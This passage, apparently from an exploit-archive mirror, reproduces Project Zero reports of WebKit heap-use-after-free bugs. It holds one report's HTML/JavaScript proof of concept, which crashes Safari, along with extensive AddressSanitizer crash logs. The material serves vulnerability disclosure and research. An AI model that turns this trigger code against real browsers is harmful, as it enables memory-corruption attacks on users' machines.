    #19 0x1111e3020 in JSC::SymbolTable::finishCreation(JSC::VM&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1693020)
    #20 0x1139b8b4a in JSC::SymbolTable::create(JSC::VM&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2dab4a)
    #21 0x1139b8719 in JSC::JSSegmentedVariableObject::finishCreation(JSC::VM&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2da719)
    #22 0x1148d82bc in JSC::JSGlobalObject::finishCreation(JSC::VM&, JSC::JSObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x11fa2bc)
    #23 0x1148d8281 in WebCore::JSDOMGlobalObject::finishCreation(JSC::VM&, JSC::JSObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x11fa281)
    #24 0x114a23db5 in WebCore::JSDOMWindowBase::finishCreation(JSC::VM&, WebCore::JSDOMWindowShell*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1345db5)
    #25 0x114944bdc in WebCore::JSDOMWindow::finishCreation(JSC::VM&, WebCore::JSDOMWindowShell*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1266bdc)
    #26 0x114a2f56b in WebCore::JSDOMWindow::create(JSC::VM&, JSC::Structure*, WTF::Ref<WebCore::DOMWindow>&&, WebCore::JSDOMWindowShell*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x135156b)
    #27 0x114a2ee7e in WebCore::JSDOMWindowShell::setWindow(WTF::RefPtr<WebCore::DOMWindow>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1350e7e)
    #28 0x115bb4503 in WebCore::JSDOMWindowShell::create(JSC::VM&, WTF::RefPtr<WebCore::DOMWindow>&&, JSC::Structure*, WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24d6503)
    #29 0x115bb41b0 in WebCore::ScriptController::createWindowShell(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24d61b0)

previously allocated by thread T0 here:
    #0 0x10e428790 in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4b790)
    #1 0x7fff8b1325a0 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib+0x25a0)
    #2 0x11145adb4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190adb4)
    #3 0x11145012b in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190012b)
    #4 0x1113e7995 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1897995)
    #5 0x1143e0e3d in WebCore::HTMLTableElement::create(WebCore::QualifiedName const&, WebCore::Document&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd02e3d)
    #6 0x11430d631 in WebCore::tableConstructor(WebCore::QualifiedName const&, WebCore::Document&, WebCore::HTMLFormElement*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2f631)
    #7 0x114308373 in WebCore::HTMLElementFactory::createKnownElement(WTF::AtomicString const&, WebCore::Document&, WebCore::HTMLFormElement*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2a373)
    #8 0x1142c5ea6 in WebCore::HTMLConstructionSite::createHTMLElementOrFindCustomElementInterface(WebCore::AtomicHTMLToken&, WebCore::JSCustomElementInterface**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbe7ea6)
    #9 0x1142c51a5 in WebCore::HTMLConstructionSite::createHTMLElement(WebCore::AtomicHTMLToken&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbe71a5)
    #10 0x1142c58e6 in WebCore::HTMLConstructionSite::insertHTMLElement(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbe78e6)
    #11 0x1144224b3 in WebCore::HTMLTreeBuilder::processStartTagForInBody(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd444b3)
    #12 0x11441f4d6 in WebCore::HTMLTreeBuilder::processStartTag(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd414d6)
    #13 0x11441d67e in WebCore::HTMLTreeBuilder::constructTree(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd3f67e)
    #14 0x1142f2d48 in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc14d48)
    #15 0x1142f2902 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc14902)
    #16 0x1142f1b94 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc13b94)
    #17 0x1142f358d in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1558d)
    #18 0x113d60661 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x682661)
    #19 0x113e8c1f8 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7ae1f8)
    #20 0x113e5086f in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x77286f)
    #21 0x113930fb7 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x252fb7)
    #22 0x11392bb69 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24db69)
    #23 0x115edc7e4 in WebCore::SubresourceLoader::didFinishLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27fe7e4)
    #24 0x10c74d615 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8de615)
    #25 0x10c74cc2a in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8ddc2a)
    #26 0x10c0fb1f9 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x28c1f9)
    #27 0x10bf1e448 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xaf448)
    #28 0x10bf27614 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb8614)
    #29 0x111406a04 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b6a04)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x45aa) in WebCore::Node::treeScope() const
Shadow bytes around the buggy address:
  0x1c1800013a40: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c1800013a50: 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa
  0x1c1800013a60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c1800013a70: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c1800013a80: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
=>0x1c1800013a90: fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fa
  0x1c1800013aa0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c1800013ab0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
  0x1c1800013ac0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
  0x1c1800013ad0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c1800013ae0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1460==ABORTING
-->
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1082

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on the latest nightly build of WebKit. The PoC also crashes Safari 10.0.2 on Mac.

PoC and ASan log follow

PoC:

=================================================================
-->

<script>

function go() {
 div.style.setProperty("-webkit-flow-into", "foo");
 document.execCommand("fontSize", false, 6);
 window.requestAnimationFrame(cb);
 h1.attachShadow({mode: "open"});
 h1.replaceWith("foo");
}

function cb() {
 var a;
 //trigger garbage collector
 for(var i=0;i<100;i++) {
   a = new Uint8Array(1024*1024);
 }
 textarea.cols = 1;
}

</script>
<body onload=go()>
<textarea id="textarea"></textarea>
<h1 id="h1">
<div id="div" style="perspective: 1px;">

<!--
=================================================================

ASan log:

=================================================================
==531==ERROR: AddressSanitizer: heap-use-after-free on address 0x60800003e340 at pc 0x00010b23f5ab bp 0x7fff5c243c10 sp 0x7fff5c243c08
READ of size 8 at 0x60800003e340 thread T0
    #0 0x10b23f5aa in WebCore::Node::treeScope() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x45aa)
    #1 0x10b23f568 in WebCore::Node::document() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x4568)
    #2 0x10b23eb18 in WebCore::RenderObject::document() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3b18)
    #3 0x10d3e9a34 in WebCore::RenderBox::applyTopLeftLocationOffset(WebCore::LayoutPoint&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x21aea34)
    #4 0x10d3e2bc1 in WebCore::RenderLayer::updateLayerPosition() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x21a7bc1)
    #5 0x10d3e1fb8 in WebCore::RenderLayer::updateLayerPositions(WebCore::RenderGeometryMap*, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x21a6fb8)
    #6 0x10d3e24cd in WebCore::RenderLayer::updateLayerPositions(WebCore::RenderGeometryMap*, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x21a74cd)
    #7 0x10d3e24cd in WebCore::RenderLayer::updateLayerPositions(WebCore::RenderGeometryMap*, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x21a74cd)
    #8 0x10d3e1e66 in WebCore::RenderLayer::updateLayerPositionsAfterLayout(WebCore::RenderLayer const*, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x21a6e66)
    #9 0x10bcdbb66 in WebCore::FrameView::layout(bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa0b66)
    #10 0x10dc5c1c1 in WebCore::ThreadTimers::sharedTimerFiredInternal() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2a211c1)
    #11 0x10cebc87f in WebCore::timerFired(__CFRunLoopTimer*, void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1c8187f)
    #12 0x7fff9a634af3 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x92af3)
    #13 0x7fff9a634782 in __CFRunLoopDoTimer (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x92782)
    #14 0x7fff9a6342d9 in __CFRunLoopDoTimers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x922d9)
    #15 0x7fff9a62b7d0 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x897d0)
    #16 0x7fff9a62ae37 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88e37)
    #17 0x7fff904ba934 in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30934)
    #18 0x7fff904ba76e in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x3076e)
    #19 0x7fff904ba5ae in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x305ae)
    #20 0x7fff8e2e5df5 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48df5)
    #21 0x7fff8e2e5225 in -[NSApplication _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48225)
    #22 0x7fff8e2d9d7f in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3cd7f)
    #23 0x7fff8e2a3367 in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x6367)
    #24 0x7fff86665193 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x11193)
    #25 0x7fff86663bbd in xpc_main (/usr/lib/system/libxpc.dylib+0xfbbd)
    #26 0x1039b9b73 in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
    #27 0x7fff8e1e35ac in start (/usr/lib/system/libdyld.dylib+0x35ac)

0x60800003e340 is located 32 bytes inside of 96-byte region [0x60800003e320,0x60800003e380)
freed by thread T0 here:
    #0 0x105f85cf4 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4bcf4)
    #1 0x108fb036f in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190136f)
    #2 0x10b5e3653 in WebCore::removeDetachedChildrenInContainer(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3a8653)
    #3 0x10b5d0752 in WebCore::ContainerNode::~ContainerNode() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x395752)
    #4 0x10be98aad in WebCore::HTMLHeadingElement::~HTMLHeadingElement() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc5daad)
    #5 0x1088a1ee7 in JSC::JSCell::callDestructor(JSC::VM&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x11f2ee7)
    #6 0x1089a423a in JSC::FreeList JSC::MarkedBlock::Handle::specializedSweep<(JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1>()::'lambda'(unsigned long)::operator()(unsigned long) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f523a)
    #7 0x1089a3f1e in JSC::FreeList JSC::MarkedBlock::Handle::specializedSweep<(JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1>() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f4f1e)
    #8 0x1089a3892 in JSC::FreeList JSC::MarkedBlock::Handle::sweepHelperSelectMarksMode<(JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1>() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f4892)
    #9 0x1089a2212 in JSC::FreeList JSC::MarkedBlock::Handle::sweepHelperSelectSweepMode<(JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1>(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f3212)
    #10 0x10899f823 in JSC::FreeList JSC::MarkedBlock::Handle::sweepHelperSelectHasNewlyAllocated<(JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0>(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f0823)
    #11 0x10899a130 in JSC::FreeList JSC::MarkedBlock::Handle::sweepHelperSelectEmptyMode<(JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0>(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12eb130)
    #12 0x108987f80 in JSC::FreeList JSC::MarkedBlock::Handle::sweepHelperSelectScribbleMode<(JSC::MarkedBlock::Handle::SweepDestructionMode)1>(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d8f80)
    #13 0x108987dfc in JSC::MarkedBlock::Handle::sweep(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d8dfc)
    #14 0x108983c54 in JSC::MarkedAllocator::tryAllocateIn(JSC::MarkedBlock::Handle*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d4c54)
    #15 0x1089836a8 in JSC::MarkedAllocator::tryAllocateWithoutCollecting() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d46a8)
    #16 0x10898450e in JSC::MarkedAllocator::allocateSlowCaseImpl(JSC::GCDeferralContext*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d550e)
    #17 0x1076c3bfa in void* JSC::allocateCell<JSC::JSString>(JSC::Heap&, unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x14bfa)
    #18 0x1076c3758 in JSC::JSString::create(JSC::VM&, WTF::PassRefPtr<WTF::StringImpl>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x14758)
    #19 0x1076c3465 in JSC::jsString(JSC::VM*, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x14465)
    #20 0x10871d864 in JSC::JSFunction::finishCreation(JSC::VM&, JSC::NativeExecutable*, int, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x106e864)
    #21 0x10871d6fd in JSC::JSFunction::create(JSC::VM&, JSC::JSGlobalObject*, int, WTF::String const&, long long (*)(JSC::ExecState*), JSC::Intrinsic, long long (*)(JSC::ExecState*), JSC::DOMJIT::Signature const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x106e6fd)
    #22 0x1087b2802 in JSC::JSObject::putDirectNativeFunction(JSC::VM&, JSC::JSGlobalObject*, JSC::PropertyName const&, unsigned int, long long (*)(JSC::ExecState*), JSC::Intrinsic, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1103802)
    #23 0x10bb5bf3a in JSC::reifyStaticProperty(JSC::VM&, JSC::PropertyName const&, JSC::HashTableValue const&, JSC::JSObject&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x920f3a)
    #24 0x10c2a4fc8 in void JSC::reifyStaticProperties<32u>(JSC::VM&, JSC::HashTableValue const (&) [32u], JSC::JSObject&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1069fc8)
    #25 0x10c7ca738 in WebCore::JSHTMLTextAreaElementPrototype::finishCreation(JSC::VM&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x158f738)
    #26 0x10c7cab8b in WebCore::JSHTMLTextAreaElementPrototype::create(JSC::VM&, JSC::JSGlobalObject*, JSC::Structure*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x158fb8b)
    #27 0x10c7caad5 in WebCore::JSHTMLTextAreaElement::createPrototype(JSC::VM&, JSC::JSGlobalObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x158fad5)
    #28 0x10c6d7c6f in JSC::Structure* WebCore::getDOMStructure<WebCore::JSHTMLTextAreaElement>(JSC::VM&, WebCore::JSDOMGlobalObject&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x149cc6f)
    #29 0x10c6d7a8d in std::__1::enable_if<std::is_same<WebCore::HTMLTextAreaElement, WebCore::HTMLTextAreaElement>::value, WebCore::JSDOMWrapperConverterTraits<WebCore::HTMLTextAreaElement>::WrapperClass*>::type WebCore::createWrapper<WebCore::HTMLTextAreaElement, WebCore::HTMLTextAreaElement>(WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::HTMLTextAreaElement>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x149ca8d)

previously allocated by thread T0 here:
    #0 0x105f85790 in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4b790)
    #1 0x7fff867345a0 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib+0x25a0)
    #2 0x108fb9db4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190adb4)
    #3 0x108faf12b in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190012b)
    #4 0x108f46995 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1897995)
    #5 0x10be4b45d in WebCore::HTMLDivElement::create(WebCore::QualifiedName const&, WebCore::Document&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1045d)
    #6 0x10be67451 in WebCore::divConstructor(WebCore::QualifiedName const&, WebCore::Document&, WebCore::HTMLFormElement*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2c451)
    #7 0x10be65373 in WebCore::HTMLElementFactory::createKnownElement(WTF::AtomicString const&, WebCore::Document&, WebCore::HTMLFormElement*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2a373)
    #8 0x10be22ea6 in WebCore::HTMLConstructionSite::createHTMLElementOrFindCustomElementInterface(WebCore::AtomicHTMLToken&, WebCore::JSCustomElementInterface**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbe7ea6)
    #9 0x10be221a5 in WebCore::HTMLConstructionSite::createHTMLElement(WebCore::AtomicHTMLToken&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbe71a5)
    #10 0x10be228e6 in WebCore::HTMLConstructionSite::insertHTMLElement(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbe78e6)
    #11 0x10bf7ef63 in WebCore::HTMLTreeBuilder::processStartTagForInBody(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd43f63)
    #12 0x10bf7c4d6 in WebCore::HTMLTreeBuilder::processStartTag(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd414d6)
    #13 0x10bf7a67e in WebCore::HTMLTreeBuilder::constructTree(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd3f67e)
    #14 0x10be4fd48 in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc14d48)
    #15 0x10be4f902 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc14902)
    #16 0x10be4eb94 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc13b94)
